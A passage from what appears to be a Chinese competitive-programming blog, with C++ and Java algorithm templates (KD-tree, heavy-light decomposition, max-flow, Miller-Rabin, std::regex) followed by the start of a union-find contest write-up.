if(v==fa || rooted[v]) continue;
maxChildSz[u] = max(maxChildSz[u], sz[v]);
dfsMaxChild(v, u, r);
}
}
int dfsRoot(int u, int fa) {
int rst = u;
for(int i=head[u]; i!=-1; i=e[i].next) {
int v = e[i].v;
if(v==fa || rooted[v]) continue;
int t = dfsRoot(v, u);
if(maxChildSz[t]<maxChildSz[rst]) {
rst = t;
}
}
return rst;
}
vector<int> dis;
void dfsDis(int u, int fa, int d) {
dis.push_back(d);
for(int i=head[u]; i!=-1; i=e[i].next) {
int v = e[i].v;
if(v==fa || rooted[v]) continue;
dfsDis(v, u, d+e[i].w);
}
}
int cal(int u, int d) {
int rst = 0;
dis.clear();
dfsDis(u, -1, d);
sort(dis.begin(), dis.end());
int i=0, j=dis.size()-1;
while(i<j) {
while(dis[i]+dis[j]>k && i<j) j--;
rst += j-i;
i++;
}
return rst;
}
int ans;
void treeDivide(int u) {
dfsSize(u, -1);
dfsMaxChild(u, -1, u);
u = dfsRoot(u, -1);
ans += cal(u, 0);
rooted[u] = true;
for(int i=head[u]; i!=-1; i=e[i].next) {
int v = e[i].v;
if(rooted[v]) continue;
ans -= cal(v, e[i].w);
treeDivide(v);
}
}
int main() {
while(scanf("%d%lld", &n, &k)==2 && (n||k)) {
memset(head, -1, sizeof head);
memset(rooted, 0, sizeof rooted);
coe = 0;
for(int i=1; i<n; i++) {
int a,b,c;
scanf("%d%d%d",&a, &b, &c);
addEdge(a,b,c);
addEdge(b,a,c);
}
ans = 0;
treeDivide(1);
printf("%d\n", ans);
}
return 0;
}</code></pre>
<h2 id="kd树">KD树</h2>
<pre class="cpp"><code>/// HDU 4347
#include <cstdio>
#include <algorithm>
#include <cstring>
#include <queue>
using namespace std;
typedef long long LL;
const int MAXN = 200010, MAXK = 5;
int n,k;
struct Point {
int x[MAXK];
int& operator[] (int i) {
return x[i];
}
};
LL dis2(Point& a, Point& b) {
LL rst = 0;
for(int i=0; i<k; i++) {
rst += (LL)(a[i]-b[i])*(a[i]-b[i]);
}
return rst;
}
struct Node {
Point x;
int ch[2];
} node[MAXN];
struct KDTree {
int root;
inline int build(int l, int r, int d) {
if(l>r) return 0;
int mid = l+r>>1;
nth_element(node+l, node+mid, node+r+1, [d](Node& a, Node& b) {
return a.x[d%k]<b.x[d%k];
});
node[mid].ch[0] = build(l, mid-1, d+1);
node[mid].ch[1] = build(mid+1, r, d+1);
return mid;
}
void build(int len) {
root = build(1, len, 0);
}
inline void query(int p, Point x, priority_queue<pair<LL,int> >& que, int nk, int d) {
pair<LL,int> now = make_pair(dis2(x, node[p].x), p);
que.push(now);
if(que.size()>nk)
que.pop();
LL t = node[p].x[d%k]-x[d%k];
int a = node[p].ch[0], b = node[p].ch[1];
if(x[d%k]>=node[p].x[d%k])
swap(a, b);
if(a)
query(a, x, que, nk, d+1);
if(b && que.top().first>t*t)
query(b, x, que, nk, d+1);
}
vector<Point> knn(Point x, int nk) {
priority_queue<pair<LL,int> > que; // dis,id
query(root, x, que, nk, 0);
vector<Point> rst(que.size());
for(int i=que.size()-1; i>=0; i--) {
rst[i] = node[que.top().second].x;
que.pop();
}
return rst;
}
} tree;
int main() {
while(scanf("%d%d", &n, &k)==2) {
for(int i=1; i<=n; i++) {
for(int j=0; j<k; j++) {
scanf("%d", &node[i].x[j]);
}
}
tree.build(n);
int q;
scanf("%d", &q);
for(int i=0; i<q; i++) {
Point x;
int m;
for(int j=0; j<k; j++) {
scanf("%d", &x[j]);
}
scanf("%d", &m);
vector<Point> rst = tree.knn(x, m);
printf("the closest %d points are:\n", m);
for(Point& it : rst) {
for(int j=0; j<k; j++) {
printf("%d%c", it[j], " \n"[j==k-1]);
}
}
}
}
return 0;
}</code></pre>
<h2 id="树链剖分">树链剖分</h2>
<pre class="cpp"><code>int id[MAXN], //树上结点在线段树的编号
aid[MAXN], //线段树结点在树上的编号
son[MAXN], //重儿子
dep[MAXN], fa[MAXN],
siz[MAXN], //子树大小
top[MAXN], //所在重链的根节点
tot; // dfs计时器
// 先调用dfs1(1, 0)
void dfs1(int x, int f) {
fa[x] = f;
dep[x] = dep[f] + 1;
son[x] = 0;
siz[x] = 1;
for (int i = head[x]; i != -1; i = e[i].next) {
int v = e[i].v;
if (v == f) continue;
dfs1(v, x);
siz[x] += siz[v];
if (!son[x] || siz[son[x]] < siz[v]) son[x] = v;
}
}
// 再调用dfs2(1, 1)
void dfs2(int x, int tp) {
top[x] = tp;
id[x] = ++tot;
aid[tot] = x;
if (son[x]) dfs2(son[x], tp);
for (int i = head[x]; i != -1; i = e[i].next) {
int v = e[i].v;
if (v != fa[x] && v != son[x]) {
dfs2(v, v);
}
}
}
// 查询u到v
int qsum(int u, int v) {
int rst = 0;
while (top[u] != top[v]) {
if (dep[top[u]] < dep[top[v]]) std::swap(u, v);
// 处理线性区间 id[top[u]] -> id[u]
rst += querySum(1, 1, n, id[top[u]], id[u]);
u = fa[top[u]];
}
if (dep[u] > dep[v]) std::swap(u, v);
// 最后处理线性区间 id[u] -> id[v]
return rst + querySum(1, 1, n, id[u], id[v]);
}</code></pre>
<h2 id="树状数组">树状数组</h2>
<pre class="cpp"><code>LL C[MAXN], CI[MAXN];
// 给l~n每个数字加d
void add(int l, LL d) {
for (int i = l; i <= n; i+=i&-i) {
C[i] += d;
CI[i] += l * d;
}
}
void add(int l, int r, LL d) {
add(l, d);
add(r + 1, -d);
}
// 查询1~r的和
LL sum(int r) {
LL rst = 0;
for (int i = r; i; i ^= i & -i) {
rst += (r + 1)*C[i] - CI[i];
}
return rst;
}</code></pre>
<h2 id="最大密度子图">最大密度子图</h2>
<p>选择一个子图,使得边数/点数最大。</p>
<pre class="cpp"><code>/// UVALive 7037
#include <cstdio>
#include <cstring>
#include <algorithm>
#include <cmath>
#include <queue>
#include <utility>
using namespace std;
// double型的最大流
const int MAXN = 1e6 + 10, MAXM = 1e6 + 10;
const double INF = 1e50;
const double EPS = 1e-6;
struct Edge {
int v, next;
double cap, flow, cost;
} e[MAXM];
int head[MAXN], coe;
int N;
inline int dcmp(double x, double y) {
if(x>y+EPS) return 1;
if(x+EPS<y) return -1;
return 0;
}
// 每次初始化,节点编号为0~n-1
void init(int n) {
N = n;
coe = 0;
memset(head, -1, sizeof(int)*n);
}
void addEdge(int u, int v, double cap, double cost) {
e[coe].v = v;
e[coe].cap = cap;
e[coe].cost = cost;
e[coe].flow = 0;
e[coe].next = head[u];
head[u] = coe++;
e[coe].v = u;
e[coe].cap = 0;
e[coe].cost = -cost;
e[coe].flow = 0;
e[coe].next = head[v];
head[v] = coe++;
}
int dep[MAXN];
bool dinic_bfs(int source, int dest) {
memset(dep, -1, sizeof(int)*N);
dep[source] = 0;
queue<int> que;
que.push(source);
while (!que.empty()) {
int i = que.front();
que.pop();
for (int j = head[i]; j != -1; j = e[j].next) {
if (dep[e[j].v] < 0 && dcmp(e[j].cap,e[j].flow)>0) {
dep[e[j].v] = dep[i] + 1;
que.push(e[j].v);
}
}
}
return dep[dest] > 0;
}
inline double dinic_find(int x, double low, int source, int dest) {
if (dcmp(low, 0)<=0) return false;
if (x == dest) return low;
double cost = 0;
for (int i = head[x]; i != -1; i = e[i].next) {
if ( dcmp(e[i].cap, e[i].flow)>0 && dep[e[i].v] == dep[x] + 1) {
double a = dinic_find(e[i].v, min(low - cost, e[i].cap-e[i].flow), source, dest);
if (dcmp(a, 0)>0) {
cost += a;
e[i].flow += a;
e[i ^ 1].flow -= a;
if (dcmp(cost, low)>=0)
break;
}
else {
dep[e[i].v] = -1;
}
}
}
return cost;
}
double dinic(int source, int dest) {
double ans = 0;
while (dinic_bfs(source, dest)) {
double tans;
while (dcmp(tans = dinic_find(source, INF, source, dest), 0)>0)
ans += tans;
}
return ans;
}
int n;
int a[MAXN];
int deg[MAXN];
Edge backupE[MAXM];
int backupHead[MAXN], backupCoe;
int main() {
int T;
scanf("%d", &T);
for(int cs=1; cs<=T; cs++) {
scanf("%d", &n);
memset(deg, 0, sizeof(int)*(n+2));
for(int i=1; i<=n; i++) {
scanf("%d", a+i);
}
int source = 0, dest = n+1;
init(dest+1);
int m = 0;
for(int i=1; i<=n; i++) {
for(int j=i+1; j<=n; j++) {
if(a[i]>a[j]) {
// 一定是无向图,记录边数和度数
m++;
deg[i]++;
deg[j]++;
addEdge(i, j, 1, 0);
addEdge(j, i, 1, 0);
}
}
}
for(int i=1; i<=n; i++) {
addEdge(source, i, m, 0); // 首先连接source->每个点,容量为边数
}
memcpy(backupE, e, sizeof(Edge)*coe);
memcpy(backupHead, head, sizeof(int)*N);
backupCoe = coe;
double left = 0, right = m;
while(left+1e-9<right) {
double mid = (left+right)/2;
memcpy(e, backupE, sizeof(Edge)*coe);
memcpy(head, backupHead, sizeof(int)*N);
coe = backupCoe;
for(int i=1; i<=n; i++) {
addEdge(i, dest, m+2*mid-deg[i], 0); // 每次连接每个点->dest,容量为 边数+2*mid-度数
}
double maxflow = dinic(source, dest);
// 二分策略
if(n*m>maxflow) {
left = mid;
}
else {
right = mid;
}
}
printf("Case #%d: %.8f\n", cs, (left+right)/2);
}
return 0;
}</code></pre>
<h2 id="最大权闭合子图">最大权闭合子图</h2>
<p>有一个有向图,每一个点都有一个权值(可以为正或负或0),选择一个权值和最大的子图,使得每个点的后继都在子图里面,这个子图就叫最大权闭合子图。</p>
<p>从源点s向每个正权点连一条容量为权值的边,每个负权点向汇点t连一条容量为权值的绝对值的边,有向图原来的边容量全部为无限大。</p>
<p>求它的最小割,割掉后,与源点s连通的点构成最大权闭合子图,权值为正权值之和-最小割。</p>
<h2 id="约瑟夫环">约瑟夫环</h2>
<p>编号为0~n-1</p>
<pre><code>f(1)=0
f(i)=(f(i-1)+k)%i</code></pre>
<p>优化做法</p>
<pre class="cpp"><code>LL josephus(LL n, LL k) {
if (k == 1) return n - 1;
LL ans = 0;
for (LL i = 2; i <= n;) {
if (ans + k >= i) {
ans = (ans + k) % i;
i++;
continue;
}
LL step = (i - ans - 2) / (k - 1);
if (i + step > n) {
ans += (n - (i - 1))*k;
break;
}
i += step; ans += step * k;
}
return ans%n;
}</code></pre>
<h2 id="博弈论">博弈论</h2>
<h3 id="bash游戏">Bash游戏</h3>
<p>只有一堆n个物品,两个人轮流从这堆物品中取物,规定每次至少取1个,最多取m个。最后取光者得胜。</p>
<p>只要<code>n%(m+1)!=0</code>,则先取者一定获胜。</p>
<h3 id="nim游戏">Nim游戏</h3>
<p>有若干堆石子,每堆石子的数量都是有限的,合法的移动是“选择一堆石子并拿走若干颗(不能不拿)”,如果轮到某个人时所有的石子堆都已经被拿空了,则判负(因为他此刻没有任何合法的移动)。</p>
<p>对于一个Nim游戏的局面,它是P-position(先手必败)当且仅当<code>a1^a2^...^an=0</code>。</p>
<h3 id="wythoff游戏">Wythoff游戏</h3>
<p>两堆石子,博弈双方每次可以取一堆石子中的任意个,不能不取,或者取两堆石子中的相同个。先取完者赢。</p>
<pre class="java"><code>import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.Scanner;
public class Main {
static final BigDecimal SQRT5 = new BigDecimal(
"2.2360679774997896964091736687312762354406183596115257242708972454105209256378048994144144083787822750");
static Scanner in = new Scanner(System.in);
public static void main(String[] args) {
while (in.hasNextBigDecimal()) {
BigDecimal a = in.nextBigDecimal(), b = in.nextBigDecimal();
BigDecimal diff = a.subtract(b).abs();
if (a.min(b).equals(diff.multiply(SQRT5.add(BigDecimal.ONE)).divide(BigDecimal.valueOf(2), 0, RoundingMode.FLOOR))) {
// min(a,b) == floor(|a-b|*(sqrt(5)+1)/2)
// 先手败
System.out.println(0);
} else {
System.out.println(1);
}
}
}
}</code></pre>
<h2 id="分数规划">01分数规划</h2>
<p>求:</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mi>a</mi><mi>x</mi><mo stretchy="false" form="prefix">{</mo><mfrac><mrow><munder><mo>∑</mo><mrow><mi>i</mi><mspace width="0.222em"></mspace><mi>i</mi><mi>s</mi><mspace width="0.222em"></mspace><mi>c</mi><mi>h</mi><mi>o</mi><mi>s</mi><mi>e</mi><mi>n</mi></mrow></munder><msub><mi>a</mi><mi>i</mi></msub></mrow><mrow><munder><mo>∑</mo><mrow><mi>i</mi><mspace width="0.222em"></mspace><mi>i</mi><mi>s</mi><mspace width="0.222em"></mspace><mi>c</mi><mi>h</mi><mi>o</mi><mi>s</mi><mi>e</mi><mi>n</mi></mrow></munder><msub><mi>b</mi><mi>i</mi></msub></mrow></mfrac><mo stretchy="false" form="postfix">}</mo></mrow><annotation encoding="application/x-tex">
max\{\frac{\sum_{i\ is\ chosen}{a_i}}{\sum_{i\ is\ chosen}{b_i}}\}
</annotation></semantics></math> 发现: <math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><mo>∑</mo><msub><mi>a</mi><mi>i</mi></msub></mrow><mrow><mo>∑</mo><msub><mi>b</mi><mi>i</mi></msub></mrow></mfrac><mo>≥</mo><mi>x</mi><mo>⇔</mo><mo>∑</mo><msub><mi>a</mi><mi>i</mi></msub><mo>−</mo><mi>x</mi><mo>∑</mo><msub><mi>b</mi><mi>i</mi></msub><mo>≥</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">
\frac{\sum{a_i}}{\sum{b_i}} \geq x \Leftrightarrow \sum{a_i}-x \sum{b_i} \geq 0
</annotation></semantics></math> 所以二分<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mi>x</mi><annotation encoding="application/x-tex">x</annotation></semantics></math>,对<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mi>i</mi></msub><mo>−</mo><mi>x</mi><msub><mi>b</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">a_i-xb_i</annotation></semantics></math>排序选前几个就可以了。</p>
<h2 id="表达式处理">表达式处理</h2>
<h3 id="中缀表达式直接求值">中缀表达式直接求值</h3>
<ul>
<li>如果c='+'或者'-',那么当符号栈非空并且栈顶元素不为'('时,计算一次,计算完成后再把符号入栈。</li>
<li>如果c='*'或者'/',那么当符号栈非空并且栈顶元素为'*'或者'/'时,计算一次,计算完成后把符号入栈。</li>
<li>如果c是数字,那么入数字栈。</li>
<li>如果c是'(',那么直接入符号栈。</li>
<li>如果c是')',那么一直计算到栈顶为'('为止,最后再把'('弹出栈。</li>
</ul>
<p>不过需要注意的是在求值之前需要对表达式进行预处理,去掉空格、识别负号(区分'-'是作为减号还是负号),提取操作数等。</p>
<p>对于'-'的区分,主要判别方法为:</p>
<ul>
<li>若前一个字符为'(',则必定为负号。</li>
<li>若前一个字符为')'或者数字,则必定为减号。</li>
<li>若前面一个字符为其他运算符,如*,/,则必定是负号。</li>
<li>若前面没有字符,即该字符为表达式的第一个字符,则必定是负号。</li>
</ul>
<p>也就是说只有一种情况下,'-'是作为减号使用的,就是前一个字符为')'或者数字的时候。</p>
<h3 id="中缀表达式转后缀表达式">中缀表达式转后缀表达式</h3>
<p>对输入的中缀表达式从左到右遍历:</p>
<ul>
<li><p>如果遇到数字,直接添加到后缀表达式末尾。</p></li>
<li><p>如果遇到运算符+、-、*、/:</p>
<p>先判断栈是否为空。若是,则直接将此运算符压入栈。若不是,则查看当前栈顶元素。若栈顶元素优先级大于或等于此操作符级别,则弹出栈顶元素,将栈顶元素添加到后缀表达式中,并继续进行上述判断。如果不满足上述判断或者栈为空,将这个运算符入栈。要注意的是,经过上述步骤,这个运算符最终一定会入栈。</p></li>
<li><p>如果遇到括号:</p>
<p>如果是左括号,直接入栈。如果是右括号,弹出栈中第一个左括号前所有的操作符,并将左括号弹出。(右括号别入栈)。</p></li>
<li><p>字符串遍历结束后,如果栈不为空,则弹出栈中所有元素,将它们添加到后缀表达式的末尾,直到栈为空。</p></li>
</ul>
<h2 id="miller-rabin素性测试">Miller-Rabin素性测试</h2>
<pre class="cpp"><code>const LL test[12] = { 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31,37 };
LL fastPow(__int128 base, LL exp, LL mod) {
LL rst = 1;
while (exp) {
if (exp & 1) rst = rst * base%mod;
base = base * base%mod;
exp >>= 1;
}
return rst;
}
bool millerrabin(LL n) {
LL d = n - 1;
int s = 0;
while (!(d & 1)) {
d >>= 1;
s++;
}
for (int i = 0; i < 12 && test[i]<n; i++) {
LL a = test[i];
LL t = fastPow(a, d, n);
if (t == 1)
continue;
int j;
for (j = 0; j < s; j++) {
if (t == n - 1)
break;
t = (__int128)t*t%n;
}
if (j == s)
return false;
}
return true;
}</code></pre>
<h2 id="stdregex">std::regex</h2>
<p><code>std::regex_match</code>匹配整个字符串。</p>
<pre class="cpp"><code>#include <iostream>
#include <string>
#include <regex>
int main() {
// 简单正则表达式匹配
std::string fnames[] = { "foo.txt", "bar.txt", "baz.dat", "zoidberg" };
std::regex txt_regex("[a-z]+\\.txt");
for (const auto &fname : fnames) {
std::cout << fname << ": " << std::regex_match(fname, txt_regex) << '\n';
}
/*
foo.txt: 1
bar.txt: 1
baz.dat: 0
zoidberg: 0
*/
// 提取子匹配
std::regex base_regex("([a-z]+)\\.txt");
std::smatch base_match;
for (const auto &fname : fnames) {
if (std::regex_match(fname, base_match, base_regex)) {
// 首个 sub_match 是整个字符串;下个
// sub_match 是首个有括号表达式。
if (base_match.size() == 2) {
std::ssub_match base_sub_match = base_match[1];
std::string base = base_sub_match.str();
std::cout << fname << " has a base of " << base << '\n';
}
}
}
/*
foo.txt has a base of foo
bar.txt has a base of bar
*/
// 提取几个子匹配
std::regex pieces_regex("([a-z]+)\\.([a-z]+)");
std::smatch pieces_match;
for (const auto &fname : fnames) {
if (std::regex_match(fname, pieces_match, pieces_regex)) {
std::cout << fname << '\n';
for (size_t i = 0; i < pieces_match.size(); ++i) {
std::ssub_match sub_match = pieces_match[i];
std::string piece = sub_match.str();
std::cout << " submatch " << i << ": " << piece << '\n';
}
}
}
/*
foo.txt
submatch 0: foo.txt
submatch 1: foo
submatch 2: txt
bar.txt
submatch 0: bar.txt
submatch 1: bar
submatch 2: txt
baz.dat
submatch 0: baz.dat
submatch 1: baz
submatch 2: dat
*/
}</code></pre>
<p><code>std::regex_search</code>用于搜索第一个匹配的部分。</p>
<pre class="cpp"><code>#include <iostream>
#include <string>
#include <regex>
int main() {
std::string lines[] = { "Roses are #ff0000",
"violets are #0000ff",
"all of my base are belong to you" };
std::regex color_regex("#([a-f0-9]{2})"
"([a-f0-9]{2})"
"([a-f0-9]{2})");
// 简单匹配
for (const auto &line : lines) {
std::cout << line << ": " << std::boolalpha
<< std::regex_search(line, color_regex) << '\n';
}
std::cout << '\n';
/*
Roses are #ff0000: true
violets are #0000ff: true
all of my base are belong to you: false
*/
// 展示每个匹配中有标记子表达式的内容
std::smatch color_match;
for (const auto& line : lines) {
if (std::regex_search(line, color_match, color_regex)) {
std::cout << "matches for '" << line << "'\n";
std::cout << "Prefix: '" << color_match.prefix() << "'\n";
for (size_t i = 0; i < color_match.size(); ++i)
std::cout << i << ": " << color_match[i] << '\n';
std::cout << "Suffix: '" << color_match.suffix() << "\'\n\n";
}
}
/*
matches for 'Roses are #ff0000'
Prefix: 'Roses are '
0: #ff0000
1: ff
2: 00
3: 00
Suffix: ''
matches for 'violets are #0000ff'
Prefix: 'violets are '
0: #0000ff
1: 00
2: 00
3: ff
Suffix: ''
*/
// 重复搜索(参阅 std::regex_iterator )
std::string log(R"(
Speed: 366
Mass: 35
Speed: 378
Mass: 32
Speed: 400
Mass: 30)");
std::regex r(R"(Speed:\t\d*)");
std::smatch sm;
while (regex_search(log, sm, r)) {
std::cout << sm.str() << '\n';
log = sm.suffix();
}
/*
Speed: 366
Speed: 378
Speed: 400
*/
// C 风格字符串演示
std::cmatch cm;
if (std::regex_search("this is a test", cm, std::regex("test")))
std::cout << "\nFound " << cm[0] << " at position " << cm.prefix().length();
/*
Found test at position 10
*/
}</code></pre>
<p><code>std::regex_iterator</code>和<code>std::regex_token_iterator</code>是匹配迭代器。重要。</p>
<pre class="cpp"><code>#include <cstdio>
#include <cstring>
#include <cmath>
#include <string>
#include <regex>
#include <iterator>
#include <vector>
using namespace std;
vector<string> split(const string& str, const regex& regex) {
vector<string> rst;
sregex_token_iterator it(str.begin(), str.end(), regex, -1);
sregex_token_iterator end;
while (it != end) {
rst.push_back(*it++);
}
return rst;
}
vector<string> extract(const string& str, const regex& regex) {
vector<string> rst;
sregex_iterator it(str.begin(), str.end(), regex);
sregex_iterator end;
for (; it != end; ++it) {
rst.push_back(it->str());
}
return rst;
}
int main() {
string hosts = "example.com, hello.world.com, blog.yuki-nagato.com, some.long.hostname.com";
printf("%s\n", hosts.c_str());
vector<string> hosts1 = split(hosts, regex(",\\s*"));
for (const string& host : hosts1) {
printf("host: \"%s\"\n", host.c_str());
}
putchar('\n');
vector<string> hosts2 = extract(hosts, regex("[\\w\\.-]+"));
for (const string& host : hosts2) {
printf("host: \"%s\"\n", host.c_str());
}
return 0;
}</code></pre>
<p><code>std::regex_replace</code>比较简单。</p>
<pre class="cpp"><code>#include <string>
#include <regex>
#include <iostream>
using namespace std;
int main() {
string subject("its all about geeksforgeeks");
string result1, result2, result3, result4;
string result5;
// regex object
regex re("(geeks)(.*)");
// $2 contains, 2nd capturing group which is (.*) means
// string after "geeks" which is "forgeeks". hence
// the match(geeksforgeeks) will be replaced by "forgeeks".
// so the result1 = "its all about forgeeks"
result1 = regex_replace(subject, re, "$2");
// similarly $1 contains, 1 st capturing group which is
// "geeks" so the match(geeksforgeeks) will be replaced
// by "geeks".so the result2 = "its all about geeks".
result2 = regex_replace(subject, re, "$1");
// $0 contains the whole match
// so result3 will remain same.
result3 = regex_replace(subject, re, "$0");
// $0 and $& contains the whole match
// so result3 will remain same
result4 = regex_replace(subject, re, "$&");
// Here number of capturing group
// is 2 so anything above 2
// will be replaced by nothing.
result5 = regex_replace(subject, re, "$6");
cout << result1 << endl << result2 << endl;
cout << result3 << endl << result4 << endl
<< result5;
/*
its all about forgeeks
its all about geeks
its all about $0
its all about geeksforgeeks
its all about
*/
return 0;
}</code></pre>
17488fff-482d-5e6f-8823-5f85813f1c9eCSU-ACM2018暑期训练11-并查集&最小生成树 题解2018-08-05T19:12:33+08:00<p><a href="https://vjudge.net/contest/242969">CSU-ACM2018暑期训练11-并查集&最小生成树 - Virtual Judge</a></p>
<!--more-->
<h2 id="a---the-suspects">A - The Suspects</h2>
<h3 id="题意">题意</h3>
<p>有n个人,m个信息,每个信息表示k个人曾经接触过。现在已知编号为0的人患有非典,问共有几个人被怀疑可能会感染。</p>
<h3 id="思路">思路</h3>
<p>简单并查集,维护一下每个集合的大小即可。</p>
<h3 id="代码">代码</h3>
<pre class="cpp"><code>#include <cstdio>
const int MAXN = 3e4+10;
int n, m;
int fa[MAXN];
int cnt[MAXN];
void makeFa() {
for(int i=0; i<n; i++) {
fa[i] = i;
cnt[i] = 1;
}
}
int find(int x) {
return x==fa[x]?x:fa[x]=find(fa[x]);
}
bool merge(int x, int y) {
int fx = find(x), fy = find(y);
if(fx==fy) return false;
cnt[fx] += cnt[fy];
fa[fy] = fx;
return true;
}
int main() {
while(scanf("%d%d", &n, &m)==2 && (n||m)) {
makeFa();
for(int i=0; i<m; i++) {
int k, a;
scanf("%d%d", &k, &a);
for(int j=1; j<k; j++) {
int b;
scanf("%d", &b);
merge(a, b);
}
}
printf("%d\n", cnt[find(0)]);
}
return 0;
}</code></pre>
<h2 id="b---a-bugs-life">B - A Bug's Life</h2>
<h3 id="题意-1">题意</h3>
<p>教授认为有一种虫子只与性别不同虫子交互,现在给你若干组虫子交互的记录,问教授的假设是否错误。</p>
<h3 id="思路-1">思路</h3>
<p>简单带权并查集。两只虫子的性别关系可以通过同一集合中的虫子的性别关系推导出。维护每只虫子与其父节点的关系即可。</p>
<h3 id="代码-1">代码</h3>
<pre class="cpp"><code>#include <cstdio>
const int MAXN = 3e4+10;
int n, m;
int fa[MAXN];
int same[MAXN];
void makeFa() {
for(int i=1; i<=n; i++) {
fa[i] = i;
same[i] = true;
}
}
int find(int x) {
if(x==fa[x]) return x;
int fx = find(fa[x]);
same[x] = same[x]==same[fa[x]];
fa[x] = fx;
return fx;
}
bool merge(int x, int y) {
int fx = find(x), fy = find(y);
if(fx==fy) return same[x]!=same[y];
same[fy] = same[x]!=same[y];
fa[fy] = fx;
return true;
}
int main() {
int T;
scanf("%d", &T);
for(int cs=1; cs<=T; cs++) {
scanf("%d%d", &n, &m);
makeFa();
bool flag = true;
for(int i=0; i<m; i++) {
int a,b;
scanf("%d%d", &a, &b);
flag = flag && merge(a, b);
}
printf("Scenario #%d:\n%s bugs found!\n\n", cs, flag?"No suspicious":"Suspicious");
}
return 0;
}</code></pre>
<h2 id="c---食物链">C - 食物链</h2>
<h3 id="题意-2">题意</h3>
<p>中文题,题意也比较明确。</p>
<h3 id="思路-2">思路</h3>
<p>本题的关键在于,用一种合理的方法来确定相关的鱼的关系。</p>
<p>显然,对于任意相关的两条鱼A、B,他们的关系只能有三种:</p>
<ul>
<li>A与B是同类</li>
<li>A吃B</li>
<li>B吃A</li>
</ul>
<p>那么我们考虑三条鱼的情况。假如我们已知A与B的关系和B与C的关系,我们能否快速得出A与C的关系呢?</p>
<p>这里我们使用一个技巧,将两条鱼的关系抽象为数字:</p>
<table>
<thead>
<tr class="header">
<th>关系</th>
<th>值</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>A与B是同类</td>
<td>0</td>
</tr>
<tr class="even">
<td>A吃B</td>
<td>1</td>
</tr>
<tr class="odd">
<td>B吃A</td>
<td>2</td>
</tr>
</tbody>
</table>
<p>那么进行关系运算的方式就是:<code>relation(a, c) = (relation(a, b) + relation(b, c)) % 3</code></p>
<p>举个例子,假如A吃B,B吃C,则relation(A, B)=1,relation(B, C)=1。经过计算,relation(A, C)=(relation(A, B)+relation(B, C))%3=2,说明C吃A,与我们的预期是相同的。</p>
<p>在实现的时候,我们定义一个relation数组,relation[x]表示上面所说的relation(fa[x], x),然后在find和merge的过程中维护这个relation数组就好了。</p>
<p>另外提一下,只有当输入的X和Y已经在同一个集合中了,这句话才有可能是假话。也就是说,当且仅当find(X)==find(Y)且relation(X, Y)!=输入的关系时,这句话是假话,其中relation(X, Y) = (relation[X]+3-relation[Y])%3。</p>
<h3 id="代码-2">代码</h3>
<pre class="cpp"><code>#include <cstdio>
using namespace std;
const int MAXN = 5e4+10;
int n, k;
int fa[MAXN];
int relation[MAXN];
void makeFa() {
for(int i=1; i<=n; i++) {
fa[i] = i;
relation[i] = 0;
}
}
int find(int x) {
if(x==fa[x]) return x;
int fx = find(fa[x]);
relation[x] = (relation[x]+relation[fa[x]])%3;
fa[x] = fx;
return fx;
}
bool merge(int x, int y, int r) {
int fx = find(x), fy = find(y);
if(fx==fy) return (relation[x]-relation[y]+3)%3==r;
relation[fx] = (-relation[x]+r+relation[y]+3)%3;
fa[fx] = fy;
return true;
}
int main() {
scanf("%d%d", &n, &k);
makeFa();
int ans = 0;
for(int i=0; i<k; i++) {
int d,x,y;
scanf("%d%d%d", &d, &x, &y);
if(x>n || y>n) {
ans++;
continue;
}
if(!merge(x, y, d-1))
ans++;
}
printf("%d\n", ans);
return 0;
}</code></pre>
<h2 id="d---x-plosives">D - X-Plosives</h2>
<h3 id="题意-3">题意</h3>
<p>有n种化合物,每种化合物由两种元素组成。当几种的化合物数量等于他们所含不同元素的数量时,就会发生爆炸。现在依次给出化合物的组成,当新的化合物与之前的化合物放在一起会发生爆炸时,就不能允许这个化合物放进来。</p>
<p>输出拒绝的次数。</p>
<h3 id="思路-3">思路</h3>
<p>把元素看成点,化合物看成边,每次新的化合物进来当成连一条边。如果图中没有环,则每个连通分量是一棵树,其边数等于点数减1,不可能存在爆炸的情况;如果图中有环,则这个环上点数等于边数,就会爆炸。</p>
<p>使用并查集连边,如果要连的两个点在同一集合中,则答案加1。</p>
<h3 id="代码-3">代码</h3>
<pre class="cpp"><code>#include <cstdio>
const int MAXN = 1e5+10;
int fa[MAXN];
int find(int x) {
return x==fa[x]?x:fa[x]=find(fa[x]);
}
bool merge(int x, int y) {
int fx = find(x), fy = find(y);
if(fx==fy) return false;
fa[fx] = fy;
return true;
}
void makeFa() {
for(int i=1; i<MAXN; i++) {
fa[i] = i;
}
}
int main() {
int a,b;
while(scanf("%d", &a)==1) {
makeFa();
int ans = 0;
while(a!=-1) {
scanf("%d", &b);
if(!merge(a, b))
ans++;
scanf("%d", &a);
}
printf("%d\n", ans);
}
return 0;
}</code></pre>
<h2 id="e---almost-union-find">E - Almost Union-Find</h2>
<h3 id="题意-4">题意</h3>
<p>初始时,一共有n个元素的组合。</p>
<p>给出三个操作:</p>
<ul>
<li>1 p q:合并p, q所在的集合</li>
<li>2 p q:把p移动到q所在的集合</li>
<li>3 p:输出p所在的集合的元素的个数和元素之和</li>
</ul>
<h3 id="思路-4">思路</h3>
<p>这道题除了有合并和查询操作以外,还增加了移动操作。如果直接使用元素本身作为结点下标的话,移动它会影响所有以它为根结点的子树结点。</p>
<p>解决方法是不使用元素本身作为结点下标(除了一开始)。每次需要移动的时候,给该元素分配一个新的结点下标,然后维护它之前所在集合的大小和元素和,再合并新的结点到目标集合中。</p>
<h3 id="代码-4">代码</h3>
<pre class="cpp"><code>#include <cstdio>
const int MAXN = 200010;
int n, m;
int fa[MAXN], cnt[MAXN], sum[MAXN], id[MAXN], idx;
int find(int x) {
return fa[x] == x ? x : fa[x] = find(fa[x]);
}
void merge(int x, int y) {
int fx = find(x), fy = find(y);
if (fx != fy) {
cnt[fy] += cnt[fx];
sum[fy] += sum[fx];
fa[fx] = fy;
}
}
void move(int item, int set) {
int fi = find(id[item]), fs = find(set);
if (fi != fs) {
cnt[fs]++;
cnt[fi]--;
